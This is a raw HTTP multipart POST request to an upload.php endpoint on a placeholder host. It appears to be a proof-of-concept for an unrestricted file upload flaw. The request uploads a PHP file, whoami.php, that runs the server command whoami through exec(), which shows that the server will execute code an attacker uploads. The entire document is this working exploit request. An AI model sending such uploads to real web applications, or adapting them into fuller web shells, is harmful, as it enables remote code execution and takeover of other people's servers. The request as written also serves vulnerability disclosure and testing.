POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php

<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"

62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"

1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"

9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--